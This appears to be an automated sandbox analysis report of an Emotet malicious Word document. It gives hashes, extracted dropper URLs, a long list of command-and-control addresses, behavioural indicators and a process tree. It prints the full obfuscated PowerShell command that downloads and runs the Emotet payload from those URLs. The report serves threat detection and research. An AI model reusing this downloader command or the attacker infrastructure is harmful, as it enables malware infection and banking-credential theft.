emotet | 1c009a1ea64d66b79cdfd6b376038c334b5d2b492c90aa17333d91b49a354edd

Analysis

max time kernel
139s
max time network
148s
platform
windows10_x64
resource
win10v200722
submitted
22/09/2020, 18:46

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General

Target
emotet_e1_1c009a1ea64d66b79cdfd6b376038c334b5d2b492c90aa17333d91b49a354edd_2020-09-22__184305216100._doc.doc
Size 164KB
Sample200922-thatg67avj
SHA256 1c009a1ea64d66b79cdfd6b376038c334b5d2b492c90aa17333d91b49a354edd
MD5 921a2ae97afc4eb6b5d5dae7de9751a4
SHA1 e64e7219385007c3c349acb47972bbebd2cacf11
SHA512 c9f4c1ae159020ea2b9c2e43e85ebc3c6f5204440c2a032b402c018ea0a963b287965d3f308b4ce8b45345a102396a485ada5f3ab7ee120e79eaaf4e947a6263
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://vuatritue.com/wp-admin/w/
exe.dropper
http://castlestudios.com/bots/7/
exe.dropper
https://www.afriqueindustries-sa.com/ootqgtbgutgqkxfq/dS9/
exe.dropper
http://brandstrumpet-001-site1.ctempurl.com/default/lnD/
exe.dropper
http://oneinsix.com/test/u/
exe.dropper
http://livefarma.com/wp-content/hpu/
exe.dropper
http://datawyse.net/cgi-bin/8/

Extracted

Family

emotet

192.81.38.31:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
54.37.42.48:8080
2.36.95.106:80
186.103.141.250:443
192.241.146.84:8080
94.176.234.118:443
12.162.84.2:8080
82.230.1.24:80
98.13.75.196:80
190.190.148.27:8080
177.129.17.170:443
202.4.58.197:80
77.90.136.129:8080
77.106.157.34:8080
95.9.180.128:80
83.169.21.32:7080
212.71.237.140:8080
77.238.212.227:80
201.213.177.139:80
78.249.119.122:80
50.28.51.143:8080
80.11.164.185:80
51.38.124.206:80
216.47.196.104:80
174.113.69.136:80
76.168.54.203:80
137.74.106.111:7080
67.247.242.247:80
217.199.160.224:7080
209.236.123.42:8080
199.203.62.165:80
185.94.252.27:443
192.241.143.52:8080
61.92.159.208:8080
185.178.10.77:80
123.51.47.18:80
190.24.243.186:80
64.201.88.132:80
51.15.7.189:80
177.73.0.98:443
74.58.215.226:80
60.93.23.51:80
187.162.248.237:80
152.169.22.67:80
38.88.126.202:8080
91.105.94.200:80
190.163.31.26:80
185.94.252.12:80
170.81.48.2:80
190.2.31.172:80
45.33.77.42:8080
111.67.77.202:8080
190.117.79.209:80
51.255.165.160:8080
110.142.219.51:80
45.16.226.117:443
92.24.50.153:80
178.250.54.208:8080
50.121.220.50:80
181.30.61.163:443
220.109.145.69:80
119.106.216.84:80
191.182.6.118:80
1.226.84.243:8080
87.106.46.107:8080
172.104.169.32:8080
204.225.249.100:7080
82.76.111.249:443
185.183.16.47:80
96.227.52.8:443
190.115.18.139:8080
104.131.103.37:8080
70.32.84.74:8080
186.70.127.199:8090
111.67.12.221:8080
96.245.123.149:80
138.97.60.141:7080
61.197.92.216:80
190.6.193.152:8080
213.197.182.158:8080
45.46.37.97:80
217.13.106.14:8080
104.131.41.185:8080
155.186.0.121:80
51.159.23.217:443
74.136.144.133:80
68.183.170.114:8080
70.32.115.157:8080
5.189.178.202:8080
35.143.99.174:80
5.196.35.138:7080
188.135.15.49:80
68.183.190.199:8080
177.74.228.34:80
185.215.227.107:443
189.2.177.210:443
72.47.248.48:7080
219.92.13.25:80
185.232.182.218:80
65.36.62.20:80
68.69.155.181:80
181.129.96.162:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3728	3944	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1600-14-0x00000000006A0000-0x00000000006B2000-memory.dmp	emotet
behavioral2/memory/1600-14-0x00000000006A0000-0x00000000006B2000-memory.dmp	emotet
behavioral2/memory/1600-15-0x0000000002160000-0x0000000002170000-memory.dmp	emotet
behavioral2/memory/1600-15-0x0000000002160000-0x0000000002170000-memory.dmp	emotet
behavioral2/memory/1884-18-0x0000000002000000-0x0000000002012000-memory.dmp	emotet
behavioral2/memory/1884-18-0x0000000002000000-0x0000000002012000-memory.dmp	emotet
behavioral2/memory/1884-19-0x0000000002020000-0x0000000002030000-memory.dmp	emotet
behavioral2/memory/1884-19-0x0000000002020000-0x0000000002030000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
20	3728	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1600	Lj3ffz.exe
1884	iprop.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\kbdnko\iprop.exe	Lj3ffz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4040	WINWORD.EXE
4040	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3728	POWeRsHeLL.exe
3728	POWeRsHeLL.exe
3728	POWeRsHeLL.exe
1884	iprop.exe
1884	iprop.exe
1884	iprop.exe
1884	iprop.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3728	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE
4040	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3728 wrote to memory of 1600	3728	POWeRsHeLL.exe	80
PID 3728 wrote to memory of 1600	3728	POWeRsHeLL.exe	80
PID 3728 wrote to memory of 1600	3728	POWeRsHeLL.exe	80
PID 1600 wrote to memory of 1884	1600	Lj3ffz.exe	81
PID 1600 wrote to memory of 1884	1600	Lj3ffz.exe	81
PID 1600 wrote to memory of 1884	1600	Lj3ffz.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1c009a1ea64d66b79cdfd6b376038c334b5d2b492c90aa17333d91b49a354edd_2020-09-22__184305216100._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4040

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABIAGkAagBxAGYAZAB4AD0AKAAnAFEAcQAnACsAKAAnAGMAdAAyACcAKwAnAGwAJwApACsAJwB6ACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBTAGUAUgBwAHIAbwBGAGkAbABFAFwAYQAwAHgAVwBuAG4ANwBcAEIASwA3AEIAQwBGAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAUgBJAGAAVABgAFkAYABQAHIAbwB0AGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACwAJwArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQApADsAJABLADYAYwB5AHkAOQBuACAAPQAgACgAKAAnAEwAJwArACcAagAzACcAKQArACgAJwBmAGYAJwArACcAegAnACkAKQA7ACQAVwA4ADYAXwAwAHUAZwA9ACgAKAAnAEcAdQAnACsAJwB2AG8AJwApACsAKAAnAHEAJwArACcAeQA5ACcAKQApADsAJABGADMAMwBhAGkAcABoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFEAJwArACgAJwA1ADgAJwArACcAQQAnACkAKwAoACcAMAAnACsAJwB4AHcAJwApACsAKAAnAG4AbgAnACsAJwA3ACcAKQArACgAJwBRADUAOAAnACsAJwBCAGsANwBiACcAKQArACgAJwBjAGYAawBRADUAJwArACcAOAAnACkAKQAuACIAUgBFAFAAYABMAGEAYwBlACIAKAAoACcAUQA1ACcAKwAnADgAJwApACwAWwBzAFQAcgBpAG4AZwBdAFsAYwBoAGEAcgBdADkAMgApACkAKwAkAEsANgBjAHkAeQA5AG4AKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABZAGwAcgBfADkAbABtAD0AKAAnAFQAJwArACgAJwB2ADEAJwArACcAdwA0AG4AJwApACsAJwBmACcAKQA7ACQARwB2ADgAcgBoADgAZQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAE4AdAA7ACQAUAA2ADQAcgBvADQAMAA9ACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AdgB1AGEAJwArACcAdAByAGkAdAAnACkAKwAoACcAdQAnACsAJwBlAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACkAKwAoACcAZABtAGkAbgAnACsAJwAvAHcAJwArACcALwAnACkAKwAoACcAKgBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwBjAGEAcwAnACsAJwB0AGwAZQBzACcAKQArACgAJwB0AHUAZABpACcAKwAnAG8AcwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAnAC8AJwArACgAJwBiAG8AJwArACcAdABzAC8ANwAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACcAOgAnACsAKAAnAC8ALwB3AHcAJwArACcAdwAnACsAJwAuAGEAJwApACsAKAAnAGYAcgAnACsAJwBpAHEAJwApACsAKAAnAHUAZQAnACsAJwBpAG4AZAAnACkAKwAoACcAdQAnACsAJwBzAHQAcgAnACsAJwBpAGUAcwAnACkAKwAnAC0AJwArACgAJwBzAGEALgAnACsAJwBjACcAKwAnAG8AbQAvACcAKwAnAG8AbwB0AHEAZwB0ACcAKQArACcAYgAnACsAKAAnAGcAJwArACcAdQB0AGcAJwApACsAJwBxAGsAJwArACcAeAAnACsAKAAnAGYAcQAvAGQAUwAnACsAJwA5ACcAKQArACgAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwBiACcAKwAnAHIAYQBuAGQAJwArACcAcwB0ACcAKQArACgAJwByAHUAJwArACcAbQBwAGUAdAAnACsAJwAtACcAKQArACgAJwAwADAAJwArACcAMQAnACkAKwAoACcALQBzAGkAJwArACcAdAAnACkAKwAnAGUAJwArACgAJwAxACcAKwAnAC4AJwArACcAYwB0AGUAbQBwAHUAJwApACsAKAAnAHIAbAAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACgAJwBkACcAKwAnAGUAZgBhAHUAbAAnACsAJwB0AC8AJwArACcAbABuACcAKwAnAEQALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG8AbgBlAGkAJwArACcAbgAnACkAKwAoACcAcwBpAHgALgBjAG8AbQAvAHQAJwArACcAZQAnACsAJwBzAHQAJwApACsAKAAnAC8AJwArACcAdQAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAaQB2ACcAKwAnAGUAZgBhAHIAbQAnACkAKwAoACcAYQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtACcAKQArACgAJwBjAG8AbgB0AGUAJwArACcAbgB0AC8AaAAnACsAJwBwAHUALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AZABhACcAKQArACgAJwB0AGEAdwB5AHMAJwArACcAZQAuACcAKQArACgAJwBuACcAKwAnAGUAdAAvACcAKQArACgAJwBjAGcAJwArACcAaQAtAGIAaQBuAC8AOAAnACsAJwAvACcAKQApAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAOQBwAHQAawBlAHoAPQAoACcATQBmACcAKwAnADQAXwAnACsAKAAnAGYAOAAnACsAJwBqACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgA0AGkANABkADMAbAAgAGkAbgAgACQAUAA2ADQAcgBvADQAMAApAHsAdAByAHkAewAkAEcAdgA4AHIAaAA4AGUALgAiAEQAbwB3AGAATgBMAG8AYQBkAGAARgBpAEwARQAiACgAJABCADQAaQA0AGQAMwBsACwAIAAkAEYAMwAzAGEAaQBwAGgAKQA7ACQATQBxADYANQB5ADEAbgA9ACgAKAAnAE8AegBpACcAKwAnAG4ANgAnACkAKwAnAHUAcwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQARgAzADMAYQBpAHAAaAApAC4AIgBsAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMANwA5ADkAMwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABGADMAMwBhAGkAcABoACkAOwAkAEcANABzAGoAcAB1ADQAPQAoACcAVwAnACsAKAAnAHQANABzACcAKwAnAG4AYQAnACsAJwA1ACcAKQApADsAYgByAGUAYQBrADsAJABGAGUAbQB0AGwAeQA3AD0AKAAnAFcAMAAnACsAKAAnAHYAJwArACcANwBtACcAKQArACcAMwA4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAB1ADgAZAAyAGkAYwA9ACgAJwBCAGgAJwArACgAJwA0ACcAKwAnAGgAdQAnACkAKwAnAGIAaQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Users\Admin\A0xwnn7\Bk7bcfk\Lj3ffz.exe
  "C:\Users\Admin\A0xwnn7\Bk7bcfk\Lj3ffz.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\SysWOW64\kbdnko\iprop.exe
    "C:\Windows\SysWOW64\kbdnko\iprop.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1884

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1600-15-0x0000000002160000-0x0000000002170000-memory.dmp

Download

memory/1600-14-0x00000000006A0000-0x00000000006B2000-memory.dmp

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memory/1884-18-0x0000000002000000-0x0000000002012000-memory.dmp

Download

memory/1884-19-0x0000000002020000-0x0000000002030000-memory.dmp

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memory/3728-10-0x00000290B5630000-0x00000290B5631000-memory.dmp

Download

memory/3728-9-0x00000290B5440000-0x00000290B5441000-memory.dmp

Download

memory/3728-8-0x00007FFB53620000-0x00007FFB5400C000-memory.dmp

Download

memory/4040-0-0x00007FFB5AD20000-0x00007FFB5B3E6000-memory.dmp

Download

memory/4040-5-0x00000225D3C85000-0x00000225D3C8A000-memory.dmp

Download